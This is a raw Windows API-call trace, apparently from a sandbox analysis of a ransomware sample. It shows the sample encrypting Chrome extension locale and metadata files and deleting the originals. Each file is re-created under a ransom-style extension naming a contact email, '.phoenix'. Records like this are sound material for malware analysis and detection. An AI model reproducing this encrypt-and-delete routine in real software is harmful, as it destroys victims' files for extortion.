	[0261.974] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json")) returned 1
	[0261.975] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.975] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.976] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=176) returned 1
	[0261.976] CloseHandle (hObject=0x2e4) returned 1
	[0261.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_cn\\messages.json")) returned 0x20
	[0261.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_CN\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_cn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.976] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.976] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.976] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.976] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_CN\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_cn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.977] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1516c0) returned 1
	[0261.977] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.977] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb0, lpOverlapped=0x0) returned 1
	[0261.978] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0261.978] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0261.978] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151400) returned 1
	[0261.978] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.978] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.978] CryptDestroyKey (hKey=0x151400) returned 1
	[0261.978] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.979] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0261.979] CloseHandle (hObject=0x2e4) returned 1
	[0261.979] CloseHandle (hObject=0x250) returned 1
	[0261.979] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_cn\\messages.json")) returned 1
	[0262.086] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.086] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_hk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0262.087] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=210) returned 1
	[0262.087] CloseHandle (hObject=0x254) returned 1
	[0262.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_hk\\messages.json")) returned 0x20
	[0262.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_HK\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_hk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_hk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0262.087] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.088] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.088] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_HK\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_hk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0262.088] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1510c0) returned 1
	[0262.088] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.088] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd2, lpOverlapped=0x0) returned 1
	[0262.089] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0262.089] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0262.090] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1516c0) returned 1
	[0262.090] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.091] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.091] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0262.091] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.091] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0262.091] CloseHandle (hObject=0x254) returned 1
	[0262.091] CloseHandle (hObject=0x250) returned 1
	[0262.091] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_hk\\messages.json")) returned 1
	[0262.092] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.092] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0262.093] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=170) returned 1
	[0262.093] CloseHandle (hObject=0x250) returned 1
	[0262.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_tw\\messages.json")) returned 0x20
	[0262.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.093] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0262.093] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.093] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.093] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0262.094] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0262.094] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.094] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xaa, lpOverlapped=0x0) returned 1
	[0262.095] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0262.095] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xb0, lpOverlapped=0x0) returned 1
	[0262.096] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0262.096] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.096] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.096] CryptDestroyKey (hKey=0x151140) returned 1
	[0262.096] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.096] CryptDestroyKey (hKey=0x151540) returned 1
	[0262.096] CloseHandle (hObject=0x250) returned 1
	[0262.096] CloseHandle (hObject=0x254) returned 1
	[0262.096] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_tw\\messages.json")) returned 1
	[0262.097] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.097] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0262.098] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=194) returned 1
	[0262.098] CloseHandle (hObject=0x254) returned 1
	[0262.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json")) returned 0x20
	[0262.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.098] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0262.098] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.098] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.098] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0262.099] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151180) returned 1
	[0262.099] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.099] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc2, lpOverlapped=0x0) returned 1
	[0262.100] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0262.100] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd0, lpOverlapped=0x0) returned 1
	[0262.101] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1515c0) returned 1
	[0262.101] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.101] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.101] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0262.101] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.101] CryptDestroyKey (hKey=0x151180) returned 1
	[0262.101] CloseHandle (hObject=0x254) returned 1
	[0262.101] CloseHandle (hObject=0x250) returned 1
	[0262.101] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json")) returned 1
	[0262.102] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.102] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0262.103] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2803) returned 1
	[0262.103] CloseHandle (hObject=0x250) returned 1
	[0262.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json")) returned 0x20
	[0262.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.103] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
